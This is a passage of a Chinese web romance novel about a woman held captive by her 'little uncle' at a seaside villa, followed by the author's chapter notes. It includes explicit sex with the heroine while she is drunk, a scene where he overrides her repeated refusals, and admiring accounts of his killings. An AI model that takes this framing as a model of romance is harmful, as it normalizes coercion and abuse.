“问的什么废话?”陈寅洛将人托下来放到花洒下:“烫不烫?” 陈知念慢半拍地摇了摇头,“不烫。” 他挤了些沐浴露,在手心搓揉出细腻丰富的泡沫。当带着泡沫的温热掌心抚上她的后背时,陈知念轻轻哼了一声,下意识地缩了缩肩膀。 “痒……”她声音带着鼻音,像撒娇。 陈寅洛的手停住,低头看她。她闭着眼,长睫被水汽打湿,黏成一簇一簇,脸颊绯红,微微蹙着眉。 “娇气。”他嗤道,语气里带着一丝不耐烦,“跟伺候祖宗似的。” “陈寅洛……”她又喊,“为什么……会是我呢?” 他冲洗泡沫的手顿了顿,水流声盖过了短暂的沉默。 话说的不够明白,但陈寅洛完全读懂了意思。 “不知道。”他声音低沉,“但就是你,没别人。” “……哦。” 顿了顿,她嘴巴一扁,眼泪涌了出来:“……可是,你为什么要、要这样对我?” 声音越哭越大。 “你都、你都没问过我……我的感受,你只会……只会关着我、威胁我……” 陈寅洛蹙紧了眉,指腹粗粝地擦过她脸颊,生硬道:“谁让你不听话。” 谁让她总是想跑,还回过头来怪上他了。 他对她还不够纵容么?白长了一双腿,除了跑还是跑。 “你还让我……让我老是做噩梦……” 陈寅洛静了一瞬,“做什么噩梦?” “呜呜……”陈知念将脸埋进他脖子,委屈道:“你掐我脖子。你总是、总是掐我……我喘不过气……” 这句话像一道惊雷,将他带回十年前那个失控的夜晚。 心像是被重锤狠狠敲击了一下,他垂下眼帘,眼底是翻涌的痛色。他收拢手臂,将她更深地嵌进怀里,喉结剧烈地滚动了一下。长达十几秒的死寂后,他才将脸埋进她颈窝,声音嘶哑地说:“对不起,以后不会了。” 怀里的呜咽声逐渐变小,他用宽大柔软的浴巾将她仔细裹好,然后再次将她打横抱起,走回床边。 “陈寅洛……”她无意识地喊出他的名字。 “嗯。”他应道。 躺到床上时,她的手还箍着他的脖子,湿漉漉的眼眸望着他:“陈寅洛,你……又要欺负我了吗?” 她往他怀里缩了缩,用很小声的气音问:“这次……你会轻一点吗?” 这简直是在撩拨他本就不坚定的神经。 陈寅洛呼吸一滞,收紧了环住她的手臂。他低下头,将一个很轻的吻落在她额角。 “嗯。”他应了一声,鼻音有些重,“不哭了就轻。” 这是一个幼稚的交换条件,却奇异地安抚了她。陈知念抽噎了一下,把脸埋进他颈窝,“……那我不哭了。” “乖。” 他的吻开始落下,不再是掠夺,而是带着轻柔安抚的温热,从眉心到鼻尖,最后流连在唇角。 “张嘴。” 她迟疑地微启双唇,迎接了一个深入却异常温柔的吻。 氧气被慢慢耗尽,那条宽大的浴巾,也随着动作,悄然滑落。 微凉的空气触到皮肤,她轻轻颤了一下,他的手掌立刻覆上来:“冷?” “……不是。”她把脸埋得更深。 他似乎懂了。重新吻住她,手掌也在履行着他的意志,一路流连蔓延,点燃一簇簇火苗。 她发出一声模糊的嘤咛,说不清是痒,还是别的什么。 酒精让她比平时敏/感数倍,也诚实数倍。 陌生的热意像细微的电流,在他指尖的描绘下,沿着尾骨一路窜升,汇聚成一种空虚的渴求。 “小叔叔……”她艰难地唤他,尾音带着自己都不明白的祈求。 “嗯。” 陈寅洛哑声回应,破开荆棘时,她还是不可避免的僵了一下。 “还是疼?”他立刻停住,声音喑哑,额角有汗珠滚落,显然隐忍得极为辛苦。 她晕乎乎地摇头,眼泪却不受控制地滑落,“……不是,”她带着哭腔,语无伦次,“就是……奇怪……” 这种感觉太奇怪了。 她不懂,为什么同样是这件事,可以如此不同。 最初的适应期过去,他开始逐步进攻,依旧保持着令人心焦的缓速。 陈知念起初还小声地抽噎,可慢慢地,呜咽声渐渐变了调。细碎的鼻音从喉咙里逸出来,连她自己听了都感到脸红。 她试图咬住嘴唇忍住,却被他制止。 “听话,”他看着她迷蒙的双眼和绯红的脸颊,眼神幽暗,“让我听听。” 从最初的僵硬到后来的柔软,从细微的瑟缩到尝试靠近,每一个反应都让他的心跳更快几分。 月光透过纱帘,在她身上投下斑驳柔和的光影。 她像一朵被夜雨彻底浸润的海棠,浑身泛着潮/湿的粉晕。浓密的长睫毛被泪水与汗水黏成一簇簇,无力地垂覆着,在眼下投下浅浅的阴影。 那双总是带着戒备或慌乱的眼眸,此刻涣散地半睁着,迷迷蒙蒙地望着虚空,找不到焦点,里面盛满了茫然又愉悦的水光。 “陈知念,叫我。” “陈、陈寅洛。” 陈寅洛低头看她,气息稍乱:“知道我们在干什么吗?” 她涣散的眼眸努力地对焦,望进他深不见底的眼里,迟疑地摇了摇头。酒精已经卷走了她所有的思考能力,只剩本能。 “我们在……”他刻意停顿,“做……” 最后一个字,他张了张嘴,却没有发出声音。 “现在知道了?”他问。 她没有回答,只是发出一声模糊的呜咽。 “明天酒醒了之后,”他往里沉了沉,“是不是又要继续恨我了?” “……难受……”她小声哼唧,不知是指此刻被他逼问的心绪,还是别的什么。 “自找的。”他哑声回应,语气硬邦邦的,动作却缓了下来,指腹擦过她湿漉的眼角,“谁让你喝那么多。” 她仰起泛红的脸,无意识地用唇蹭了蹭他的下颌。 “陈知念,”他连名带姓地叫她,目光锁住她迷蒙的双眼,又一次确认,“看清楚,我是谁?我们在做什么?” 她努力睁大眼睛,视线在他脸上缓慢地逡巡,最后轻轻吐出三个字:“……陈寅洛。” “还有呢?”他不依不饶。 “在……在做……”她答不出来,只能仰起头,吻住了他的唇。 这个主动,带着酒气的吻,让陈寅洛的呼吸骤然一沉。 他没有回应,任由她毫无章法地在他唇间蹭着,直到她因为得不到回应而发出不满的呜咽,他才开始夺回主导权。 这个吻变得深入而极具掠夺性,与她刚才的轻蹭截然不同。氧气被寸寸剥夺,陈知念只觉得天旋地转。 良久,他才稍稍退开,抵着她的额头,轻轻喘了喘。 “学会堵我的嘴了?”他的声音哑得厉害。 “回答我,”他却不肯放过她,手掌微微用力,“我们在做什么?” 她被逼得无处可逃,残存的意识被搅得天翻地覆,只能带着哭腔承认:“在……在、睡觉……” “嗯。”陈寅洛满意地应了一声,“明天是不是又要翻脸不认人了?” 她茫然地眨了眨眼,湿漉漉的长睫扫过他的皮肤,似乎无法理解这么复杂的问题。 “嗯?”他催促,非要得到一个承诺。 他低头,惩罚似的在她颈间不轻不重地咬了一下,留下一个浅淡的红痕。 “疼……”她控诉,眼泪要掉不掉地悬在长睫上。 “ 疼就记住,”他吻了吻她泪湿的眼角,将人更深地按进怀里,“明天要是敢忘……” 后半句威胁消散在唇齿间,化作一个不容拒绝却又异常温柔的吻—— 作者有话说:[狗头][狗头]熬到凌晨4点[捂脸笑哭] 第77章 头痛。 像是被重锤敲击过,一阵阵钝痛从太阳穴蔓延开。 陈知念从混沌中睁眼,第一个清晰感知到的便是这剧烈的头痛。她呻吟一声,想抬手揉太阳穴,却发现手臂沉重得抬不起来。 然后,记忆如同潮水,裹挟着破碎凌乱的画面,汹涌地冲进脑海。 帆船,海底的戒指,沙滩的烧烤,冰凉的啤酒……然后,是浴室氤氲的水汽,他低沉的追问,自己不受控制的眼泪和……那些颠三倒四的哭诉,以及后来那些让她浑身发烫的亲密细节。 轰的一声,全身的血液仿佛都涌到了脸上,烧得她耳膜嗡嗡作响。 她小心翼翼地侧过头,看向身旁——陈寅洛已经不在了。 这个发现让她紧绷的神经终于找到了一个松弛的出口,整个人慢慢缓和下来。 陈知念试图起身,腰间却传来清晰的酸软感,低头看去,颈间、锁骨、腰间那些暧昧的、或深或浅的红痕,在晨光下无所遁形。 而她的颈间—— 那枚墨蓝色的宝石戒指,此刻被一条纤细的链子串着,正静静悬挂在她的胸前。链子的长度恰到好处,让宝石恰好垂落在她心口的位置,随着她的呼吸微微起伏。 这是什么时候戴上的?她竟毫无印象。 她掀开被子下床,双腿酸软得几乎站立不稳。扶着墙壁走出卧室,偌大的别墅里静悄悄的,只有海浪声不知疲倦地传来。 “陈寅洛?”她试探着喊了一声。 声音在空旷的房间里响起,又很快消散,没有任何回应。 不在么? 就在这时,门铃响起,露露清脆的声音从门外传来:“嫂子,你起床了吗?要不要一起吃早餐?” 陈知念愣了愣,急忙整理了下衣领,扬声道:“起来了,稍等。” 她快步走到玄关打开门,看见露露正端着早餐托盘,笑容灿烂地站在门口。 “嫂子,早上好!洛哥天没亮就带雷子先回去了,说是有急事。”露露语气轻快,“你别担心,洛哥特意吩咐我和阿星在这里照顾你。你想在这儿多玩几天,或者随时回去,都行。” 陈知念怔在原地。 走了?天没亮就走了? “嫂子?”露露见她发呆,轻声唤道。 陈知念回过神,侧身让开:“进来吧。” 露露将丰盛的早餐在餐厅的桌上摆好,新鲜的沙拉、煎得恰到好处的太阳蛋,还有冒着热气的牛奶。她一边摆放餐具,一边说:“嫂子你别多想,洛哥虽然人走了,但安排得可仔细了。阿星就在外面,安保什么的都照常,您想去哪儿、想做什么,吩咐一声就行。” 陈知念轻轻“嗯”了一声,拿起牛奶杯,小口饮下。 是啊,他不在,自己不该觉得更自在些么?这片刻的松弛,是她被禁锢这些时日里难得的喘息。 “嫂子,一会你是想海钓还是冲浪?”露露笑着问。 陈知念小口吃完煎蛋,抬眼望向窗外无垠的碧海,轻声说:“我想去海边走走。” “那太好啦,我陪你一起!”露露笑容灿烂,“一个人散步多闷呀,咱们边走边聊!” 面对这份真挚的热情,陈知念无法拒绝,只好浅笑着点头:“好,谢谢你。” 清晨的海滩,细沙洁白,海浪轻柔地卷上沙滩,又悄然退去。阳光透过薄云,在海面上洒下细碎的金光。 露露是个活泼的姑娘,拿着手机不停地找角度,热情地指挥着:“嫂子,你站那儿!对,侧一点身,海风吹起来的时候我抓拍,肯定好看!” 陈知念本想拒绝,但看着露露热情洋溢的脸,还是点了点头,不太自在地站在海浪边缘,扬起一个微笑。 “对对!就这样,自然一点就好!”露露一边调整角度,一边咔嚓咔嚓地按着快门,“嫂子你都不用刻意摆,随便一站就好看!洛哥要是看到……” 她话说到一半,突然顿住,有些不好意思地吐了吐舌头,收起手机跑过来。 “嫂子你看!是不是特别有感觉?” 照片里的她,身影纤细,背景是辽阔的碧海蓝天,海风吹起她的头发,她下意识地抬手,想去拢被风吹乱的发丝。 “拍得真好,谢谢你,露露。” 两人继续沿着海岸线漫步,露露是个闲不住的性子,没安静多久就又叽叽喳喳起来: “嫂子,我好好奇啊,你和洛哥到底是怎么认识的?阿星跟了他这么多年,还从来没见过洛哥身边有过女人呢!” 陈知念垂下眼睫,半晌才答:“我们……从小就认识了。” “哇!原来是青梅竹马!”露露眼睛一亮,像是发现了什么惊天秘密,“所以——洛哥这么多年不近女色,是在为嫂子守身如玉?” 这个过于浪漫的联想让陈知念一时语塞。她张了张嘴,最终只是勉强牵动唇角:“没有的事……你别乱猜。” 海风适时地吹来,拂乱了她额前的碎发,也掩去了她眼底一闪而过的复杂情绪。 那段所谓的“从小认识”,从来就不是什么两小无猜的温馨故事。 “嫂子,洛哥对你是真好!”露露像是想起了什么,“就阿星跟我说,前阵子有场拍卖会,洛哥眼睛都没眨,花了八千万拍下一枚绝品的红宝石,当时就说……是要送给你的。” 她眼里闪着羡慕的光,小声感叹:“呜呜呜,真羡慕。” 陈知念却微微一怔。 红宝石? 她垂下眼睫,想了又想,却找不到任何相关的痕迹。她从未收到过,也从没听他提起过,应该不是送给她的,阿星他们都误会了。 她轻轻“嗯”了一声,没有解释,也无从解释。 “还有呢,”露露像是打开了话匣子,“就是上次你被绑架那回,你都不知道洛哥急成什么样了,整整两天没合过眼。” 听到这,陈知念脚步顿住,面露疑惑:“什么?” “嫂子你不知道吗?”露露震惊地睁大眼睛,“这么大的事,你一点都不知道?” 陈知念轻轻摇头,露露像是发现了新大陆,兴奋地接着说: “后来查到是魏山河干的,洛哥当天晚上就带着人杀进了魏家,把人给做了,魏家连条狗都没留下。” 她顿了顿,脸上流露出艳羡:“最夸张的是,洛哥当时直接就发了话,说谁第一个找到你,奖金三个亿!我的天,三个亿啊!” “雷子哥当时负责你的安全,出了那么大的纰漏,自己剁了一根小指头谢罪。阿星哥也觉得没脸,差点……差点就把自己眼睛给废了。” 她深吸一口气,语气变得庆幸:“幸好后来你平安无事,洛哥也没再追究他们。不然……” 陈知念的脚步彻底停住了,像是被钉在了沙滩上。海风卷着咸湿的气息吹过,她却觉得喉咙发紧,呼吸都变得困难。 这些事……她全都不知道。 然而露露话头没停,又想起一桩:“对了对了,还有拍卖场那次!阿星后来跟我们说,那个给你下药的老板,下场才叫一个惨……” “洛哥直接把十倍剂量的致幻剂给他用了下去。听说死的时候,都……都没个人样了。” 她顿了顿,像是才意识到自己说了多么血腥的事,赶紧找补:“不过也是他活该!谁让他敢把主意打到嫂子你头上!” 露露的话像一块块沉重的巨石,接二连三地砸进陈知念的心海,激起惊涛骇浪。 她僵在原地,感觉脚下的细 沙仿佛都在流动,要将她吞噬。 露露说的每一桩,每一件,背后都可能是一条甚至多条活生生的人命,都浸透着浓重得化不开的血腥气。 她浑身发冷,胃里一阵翻搅。这太血腥,太可怕了。 可另一个念头却不受控制地冒出来——他做这些,全都是为了她? 这个认知让她心慌意乱。 他依旧是那个冷酷、暴戾、视规则如无物的危险存在,但在这片危险的深渊之下,似乎涌动着一股为她燃烧的炽热岩浆。 她该怎么办? 继续恨他?可如果他确实为她做了这么多,她真的能冷眼以待吗。 感动?但每一份“好”都沾着别人的血。 陈知念站在海边,只觉得脑子乱成一团。 “嫂子?你没事吧?”露露见她久久不语,有些担心地问。 陈知念骤然回过神,勉强挤出一个笑容,摇了摇头:“没、没事……露露,我想先回去休息了。” “啊,好的好的,我送你回去。” “不用,”陈知念立刻拒绝,语气有些急,随即又放缓声音解释道,“我想自己静静走回去,没事的。” 不等露露再说什么,陈知念已转过身,仓促地沿着来时的路往回走。她需要立刻离开,需要一个人待着。 回到空旷的别墅,安静瞬间将她包裹。她弯腰抱起摇着尾巴迎上来的雪球,小家伙温热的身体和欢快的舔舐稍微驱散了一些寒意。她走到面海的落地窗边,坐在柔软的地毯上,将下巴轻轻抵在雪球毛茸茸的头顶。 窗外,海浪依旧不知疲倦地拍打沙滩,节奏永恒。她的内心,也刚刚经历了一场海啸。 “雪球,你说我该怎么办?” 雪球自然不会回答,只是在她怀里蹭了蹭。 她抱着它的手臂无意识地收紧了些,像要从这小小的生命里汲取一点力量,或者说,一点答案。 “有人……因为我死了,不止一个。” “他们说他……是为了我。” 她停顿了很久,海浪声填补着沉默。 “我是不是应该更恨他才对?可是,为什么我现在心里乱糟糟的,还有点……难受。”—— 作者有话说:有嘴真好…… 第78章 海边的日子仿佛被拉长,在日升月落中缓慢流逝。 陈寅洛离开后的第三天,第四天……没有任何音讯。 她大部分时间都待在房间,抱着雪球,漫无目的地切换着电视节目。窗外明媚的阳光和蔚蓝的海水,都无法驱散她心头的阴霾。 露露那些关于血腥过往的话语,像无法消散的幽灵,在她脑海里盘旋。 她试图理清对陈寅洛的感情,却发现那团乱麻越缠越紧。 这天下午,她依旧蜷在沙发里,电视里播放着枯燥的财经新闻。突然,画面一切,变成了紧急插播的新闻。主播面色凝重: “本台最新消息,据悉,张爻高级政委今日上午在赴会议途中突发车祸,经抢救无效,于14时30分不幸离世。张政委生前……相关部门表示深切哀悼……” 画面里出现了那位张政委生前参加会议的影像,以及官方标准的哀悼词。 陈知念心不在焉地拿起遥控器,手指在按键上胡乱按着,屏幕画面飞速切换,却没有一个能映入她的脑海。几番折腾后,她最终泄了气似的,拇指重重按下了电源键,房间瞬间陷入一片寂静。 电视屏幕暗下去,映出她苍白失神的脸。 就在这时,玄关处传来轻轻的敲门声,紧接着是露露清脆的声音,“嫂子,你在吗?我跟阿星带了新鲜的椰子,还带了刚烤好的椰子糕,要不要出来尝尝?” 陈知念没立即应声。她现在没什么力气和人打交道,只想一个人待在安静里,慢慢消化心里的混乱。 可门外的敲门声没有停,阿星的声音也跟着传来:“嫂子,别一个人闷着了,我们出海钓鱼去!今天天气可好了!” 雪球从她怀里跳下来,跑到玄关边,对着门“汪汪”叫了两声,尾巴摇得欢快。 陈知念轻轻叹了口气,她知道露露和阿星是好意,不想要她总是在房间闷闷不乐。 她起身走到玄关,打开门。 “嫂子,你总算开门啦!”露露晃了晃手里的椰子,“阿星今天可费老大劲了,抱着树干摇了一下午,好不容易才投降了两个!喏,咱们一人一个,趁新鲜喝!” 陈知念还是不够习惯露露的热情,她接过椰子,歉意地说:“谢谢你们,给你们添麻烦了。” “跟我们客气啥!”露露摆摆手,“走吧,嫂子,游艇都准备好了,再晚点鱼群都跑啦。” “我……”她张了张嘴。 阿星哪还看不出她的犹豫,立马凑过来,“嫂子,别纠结啦!游艇早让船长检查完了,连你爱吃的草莓蛋糕都早就放到了冰箱,保证吃的时候还是凉丝丝的!” “说话就说话,鱼竿别乱甩!”露露伸手拍掉他的鱼竿,没好气地说,“就你这毛手毛脚的,等会儿别把嫂子的蛋糕弄翻了!洛哥那游艇的真皮沙发可贵着呢!” “我怎么就毛手毛脚了?”阿星不服气,“上次是谁钓着个小虾米,兴奋得差点把鱼竿扔海里的?” 两人你一言我一语地拌着嘴,陈知念看着眼前热闹的一幕,嘴角忍不住轻轻牵了牵。 “嫂子,你别听他瞎扯。”露露转头拉着陈知念的胳膊,轻轻晃了晃,“咱们去嘛去嘛!说不定咱们今天运气好,能钓到东星斑之类的!” 雪球也在一旁凑趣,用脑袋蹭了蹭陈知念的脚踝,像是在帮露露劝她。 无奈,她只能轻轻点头:“那好吧。” 跟着两人走到海边时,一艘白色游艇正静卧在码头。 阿星率先跳上游艇,还不忘伸手想扶陈知念,结果脚下在防滑甲板上一滑,差点摔个趔趄,幸好露露眼疾手快拉了他一把:“你能不能靠谱点?!” “这不是没注意嘛!”阿星重新稳住身形,才小心翼翼地把陈知念扶上游艇。 露露跳上游艇后,兴奋地指着上层甲板:“嫂子你看!那边的视野可开阔了,等会儿咱们就在那钓!船长说前面珊瑚礁区有好多石斑鱼和海鲈鱼呢!” 游艇缓缓驶离码头,阿星兴冲冲地跑到上层甲板,拿起鱼竿甩线,结果用力过猛,鱼线直接缠在了诱鱼灯支架上,逗得露露笑得直不起腰:“哈哈哈,我就说你不行吧!还逞能!” “笑什么笑!”阿星手忙脚乱地解着鱼线,“没找到手感而已!等会儿我肯定能钓条大鱼给你们看。” 船长这时递来另一根鱼竿给陈知念,耐心示范甩线技巧:“陈小姐,您试试轻一点发力,顺着海风的方向抛……” 雪球趴在甲板的遮阳棚下打盹,尾巴时不时轻轻扫过地板。阿星终于解开了鱼线,正跟露露打赌谁先钓上鱼;船长在驾驶室里调控着航向,时不时提醒他们鱼群的方位。陈知念靠在甲板的栏杆上,望着辽阔的海面出神。 时间不知不觉已近黄昏,游艇缓缓掉头往回驶。 说笑声随着船只靠岸渐渐平息,连最活泼的露露都安静了下来。 因为所有人都看到了,别墅通往码头的小路上,不知何 时停了一辆黑色轿车。 阿星第一个跳下船,然后转身,小心翼翼地伸手扶陈知念上岸。 露露跟在她身后,悄悄吐了吐舌头,压低声音说:“洛哥什么时候回来的?” 陈知念目光不由自主地望向那栋此刻在暮色中显得格外安静的别墅。她抱着钓具的指节紧了紧,胸前的戒指随着她的呼吸轻轻起伏。 雪球也感应到了什么,突然从她怀里挣脱,欢快地叫了两声,撒开腿就朝着别墅方向跑去。 陈知念顿了顿,随即跟着雪球的踪迹,一步一步走向别墅。 别墅大门虚掩着,她推开门,客厅里没有开灯,只有落地窗外透进来的残余天光。 她的目光扫过客厅,下一秒便定在了背对着落地窗的单人沙发上。 一个挺拔的身影陷在阴影里,肩线绷得笔直,即使坐着也透着惯有的压迫感。指尖夹着点燃的香烟,橘红色的火点忽明忽灭,映出利落的指节轮廓。雪球亲昵地趴在那人脚边,尾巴轻轻拍打着地毯。 他回来了。 不知道等了多久。 陈知念的脚步像被钉在玄关,下午刚被海风吹散的混乱思绪,此刻以更凶猛的势头卷土重来。 阴影中的男人动了一下,将烟蒂按熄在手边的烟灰缸里。然后,他缓缓转过头,目光穿透昏暗的光线,精准地落在她身上。 空气凝固了,只有远处隐约的海浪声穿过沉默。 几秒钟后,他低沉的声音终于响起,“玩得开心?” 钓具从她指尖滑落在地,她轻轻“嗯”了一声算是回应。 “过来。”他朝她招手。 陈知念的呼吸不自觉收紧,旋即挪动脚步,在离他几步远的地方停下,垂着眼,没敢直视他。 陈寅洛的目光在她脸上停留片刻,从她微湿的发梢扫到紧抿的唇瓣,最后落在她空空的手上。 “鱼呢?” “……”她小声回答,“没钓到。” 他轻轻一笑,“真没用。” 他吐出这三个字时尾音微微上扬,既像责备又像宠溺。见她还僵在原地,便朝她勾了勾手指:“杵这么远,我能吃了你?” 陈知念往前挪了半步,正好被他伸手揽住腰肢带入怀中。烟草味扑面而来,她重心不稳地跌坐在他膝上,慌乱间伸手抵住他胸膛。 “连条小鱼都钓不上来。”他轻轻捏着她后颈,“以后想吃海鲜,还得我亲自给你捞?” 她别开脸,避开他过于迫人的注视,耳根却不受控制地漫上热度。这距离太近了,近得她能看清他眼底细微的血丝,以及那深不见底的漆黑里,映出的她自己慌乱的模样。 “不说话?嗯?”他扬着下巴,“几天不见,变哑巴了?” 陈知念心脏跳得飞快,被他话语里那种自然的亲昵搅得心慌意乱。 “我……”她小声嘟囔,“下次会钓到的。” “想我没?”他低声问,气息拂过她脸颊。 这个问题像一颗投入静湖的石子,在她心里漾开圈圈涟漪。 想他吗?她不敢细想,更不敢回答。 “不说?”他俯身靠近,“那我就自己试试。” 话音未落,他已低头攫取了她的唇。循序渐进,逐步加深,仿佛要在她的唇齿间,亲自尝出那个问题的答案。 陈知念浑身一僵,抵在他胸膛的手想要推拒,却被他的大手轻易握住,指尖被迫与他十指相扣。 她紧绷的身体在他攻城掠地的攻陷下渐渐失了力气,氧气的稀缺让她头脑发昏,只能被动地承受着他的探索,鼻息间全是他身上凛冽的气息。 不知过了多久,他才稍稍退开,深邃的眼底翻涌着暗流,紧紧锁住她迷蒙的双眼和微微红肿的唇瓣。 “嘴这么硬,”他哑声笑道,“身体倒是诚实。” 这句话让陈知念瞬间从意乱情迷中惊醒,脸颊爆红,羞恼地想要挣脱,却被他牢牢禁锢在怀里。 “别动,”他的声音沉了下来,褪去了刚才的戏谑,带着几分不易察觉的疲倦,下巴轻轻抵在她的发顶,闭上眼睛,发出一声几不可闻的轻叹,“让我抱会。” 突如其来的温和让陈知念怔住,她僵了僵,终究没再挣扎。 他就这样静静地抱着她,许久没有说话。 暮色渐浓,客厅里最后一点天光也隐没了。 直到他箍在她腰间的手臂微微收紧,低沉的声音再次响起: “饿了。” 陈知念默了一瞬,提议道:“阿星他们钓了鱼,我们可以过去一起吃。” “不去。”陈寅洛抵在她发顶的下巴动了动,“不想搭理他们,就我们俩吃。” 他顿了顿,环在她腰间的手臂又收紧了些,补充道:“你去做。” 这三个字说得理所当然。陈知念怔了怔,她不会做海鲜呀。 “我……不太会处理海鲜。”她老实承认。 “行。”他伸手扳过她下巴,迫使她迎上他漆黑的眼眸:“那我只能委屈一下……吃你了。”—— 作者有话说:啧啧啧,度假这段时间真的是温情时刻 [捂脸笑哭][捂脸笑哭]不好意思了日九失败,主要是回老家了,天天玩[彩虹屁] 第79章 “就在这里好不好?” 陈寅洛滚烫的唇顺着唇角下滑,掠过跳动的脉搏,在锁骨曾经留下红痕的地方,不轻不重地咬了一下。 陈知念吃疼地轻哼,推拒的手被他轻易扣住,反剪到身后。 身上的衬衫裙已被推至腰间,带着薄茧的指节缓缓向上摩挲,她止不住地颤抖,不得不仰起头,完全暴露脆弱的颈线。 暮色将两人的轮廓融成模糊的剪影,远处海浪声变得急促,像她失控的心跳。 “陈寅洛,你……你干什么?!” 陈知念的惊呼被夜风卷走,陈寅洛已将她打横抱起,大步走向泳池。 他低头,声音低沉而危险:“去泳池。我想试试。” “不……不行!”她慌乱地摇头,绯色从耳根一路蔓延至脖颈。在室外,在可能被人看见的地方,这太羞耻了。 “由不得你拒绝。” 话音未落,他抱着她,一步踏入微凉的池水。 水瞬间漫上来,浸湿了她的裙摆,失重感让她下意识地紧紧攀住他的脖颈。 他停在及腰深的水中,托着她的腰,将她靠在池边。湿透的衬衫紧贴肌肤,勾勒出诱//人的曲线。 “抱紧我,别掉下去了。” “不……快放我上去!陈寅洛,陈寅洛!你让我上去!” 泳池边的灯泛着暖黄的光,隐约能照见周围的绿植,万一阿星或露露路过,岂不是全被看见了?这种暴露在室外的羞耻感,让她浑身都在发颤,挣扎着想要从他怀里跳下去。 陈寅洛却稳稳扣住她的腰,抱着人往深水区滑区。“抱紧,掉下去了我可不管。” 水流瞬间淹没了两人的肩线,陈知念不得不紧紧环住他的脖子,膝盖想要抵住池壁寻求支点,脚踝却被他掌心扣住轻轻拉开。 “陈寅洛!你放开!”羞耻感像潮水般涌上心头,她使劲挣扎起来。可反剪的手腕被他攥得死死的,身体又完全靠在他怀里,所有扭动都只是徒劳。 他咬着她耳垂低语,“我饿了。” 她的哭腔溢出,“小叔叔,我……我去给你做饭好不好,你、你让我上去吧!” “现在想做饭?”他齿尖磨过她耳骨,手掌仍紧扣着她腕脉,“晚了。” 她浮散的长发像海藻缠住他起伏的胸膛。当氧气的界限即将突破时,他才托着她浮出水面。新鲜空气涌入肺部的刹那,她听见自己带着哭腔的急喘混着他得逞的闷哼。 “小侄女,哭什么。”他指尖抹去她睫毛的水珠,“叔叔在教你游泳,别不识好歹。” “你……”陈知念意识虚浮,想了半天才回怼道:“你是在强词夺理。你明明、明明就不是……” 他低笑一声,水波逐渐放大,“那是在教什 么?” “教你……”他的唇贴着她湿透的鬓角,声音混着水声模糊传来,“怎么在深水里……换气?” “陈寅洛,你无耻!” 她带着哭腔的控诉被荡漾的水波揉碎,非但没能震慑对方,反而像某种催化,激得陈寅洛眼底暗流更汹涌了几分。 他非但不恼,反而更肆意。 “这就叫无耻了?那你对无耻的理解,还浅薄得很。” 话音落下,进举越发大胆。陈知念浑身一僵,所有骂人的话都卡在了喉咙里,变成一声短促的惊喘。水的浮力让她无处着力,只能像藤蔓一样依附着他,这认知让她又羞又恼。 “看来是学不会换气了。”他无奈地叹了口气,可眼底闪烁的尽是掌控一切的恶劣,“没关系,我们换个方式实践。” 他抱着她,潜入更深的水域。 失重感再次袭来,陈知念只能紧紧攀住他的肩膀,紧闭双眼。周围是冰凉的池水,唯有他身体传来的温度是真实的。 他在水下吻住了她。 黑暗放大所有触觉。他带着她浮/沉,时而让她触及水面破碎的月光,时而坠入池底幽蓝的寂静。 当她再次被他带出水面时,已经完全脱力,只能趴在他肩头剧烈地咳嗽,汲取着宝贵的空气。 “毕业考试。”陈寅洛抹去她鼻尖的水珠,“学员陈知念——水下换气科目,满分。” 说完,他突然托着人抱离水面,水哗啦啦从他们身上落下,夜风拂过湿淋淋的肌肤,引起一片片的战栗。 “满分学员该领奖了。” 水声骤变的刹那,克制的缓速陡然加快,陈知念仰头看见星空在视野里颠簸、破碎,当走入别墅时,恰好震颤地完成最后一次示范教学。 他在她颈间重重一咬,“结业证书,刻在这了。” 陈知念陷在柔软的羽绒被里,浑身乏力。 陈寅洛支着手臂俯视她,他拇指抚过她颈间新鲜齿痕,突然低笑:“下次教学地点,定在暴雨天的礁石滩怎么样?” 陈知念连瞪他的力气都没有了,只能将发烫的脸埋进被窝,声音闷闷地传来,“陈寅洛……你就是个混蛋……” “嗯,”他坦然承认,“你的混蛋。” “陈寅洛,” 被子里的陈知念忽然唤他,可他等了一会又没有后续,“嗯?想说什么?” 静默了好几秒,她才从被子里探出头,眼眶还带着未褪的红,眼神却异常清醒:“你说你喜欢我,是真的吗?” “为什么问这个?”他反问。 陈知念静了静,依旧固执地寻一个答案:“我想知道。” 他俯身,双手撑在她身体两侧,将她困在床与他形成的狭小空间里。 “真的。”他开口。 他肯定的回答给了陈知念继续说下去的勇气,她微微撑起上半身,离他更近,能够更清晰的看清楚他眼底。 “那你愿意,为我做出改变吗?” 问完,她一瞬不瞬地盯着他的眼睛,他的瞳孔里印出她期盼、忐忑的眼眸。 他沉默了很久,久到窗外的海涛声都显得清晰起来,久到她的心跳都在飞速抨击冲撞。 “你想让我改变什么?”陈寅洛没有直接拒绝,而是反问道。 紧张让她喉间干涩,不自觉地吞咽了一下。然后,她做出了一个连自己都意外的举动。 她抬起微微发颤的手臂,环住了他的脖颈,仰头吻住了他。 这个吻毫无章法,生涩,唇瓣相贴,辗转几许,她稍稍退开,“陈寅洛,以后我再也不想着离开你,我会试着好好和你相处。” “以后……你能不能不要……再做那些坏事了?” 陈寅洛沉默地盯着她,眼底翻涌着晦暗的浪潮,刚才被吻软的线条又变得冷硬起来。 “什么坏事?说清楚。” 他的声音冷冽低沉,不自觉让陈知念心里发颤,心跳震得她耳朵发麻。 但她捏紧了指尖,强自鼓起勇气说:“就是,那些……会让你的手沾上血的事情。” 她抬起眼,眸子里晃动着微弱的水光和恳求。 “陈寅洛,”她念他的名字,带着哀恳,“别再做那些……不干净的事了,好不好?” 陈寅洛的眸色骤然沉了下去,像暴风雨前凝聚的浓云。 “怎么,你是打算让我回头是岸,立地成佛?”他的手指捏住她的下巴,话语直白而残酷,“这世道,佛不渡穷鬼,不渡善人,想要什么,就得自己动手去拿,去争,去抢。等着别人施舍,饿死了都没人埋。” 陈知念的眼泪终于落下来,滴在他的手臂上。 “难道只有踩着别人的尸骨才能活下去?”她执拗地望进他深不见底的眼睛,“陈寅洛,你告诉我,这到底是什么道理?我不懂……我真的不懂……” “没错,这就是规则。你手里没有枪,你就会是案板上的肉,只会沦为任人宰割的下场。” “就像你,明明恨不得逃到天涯海角,现在却不得不在这,对我虚与委蛇。” 她眼底的光一点点黯淡下去,肩膀难以抑制地轻轻颤抖。最终,只是无力地垂下了眼帘。 陈寅洛的喉结滚动了一下,暴戾的目光在她湿润的眼底逡巡,良久,他眼底翻涌的浓云散开些许。 “陈知念,别用那种救世主的眼神看我。” “我生来就是这副德行,所以,不要把那些不切实际的奢想扣到我身上。” 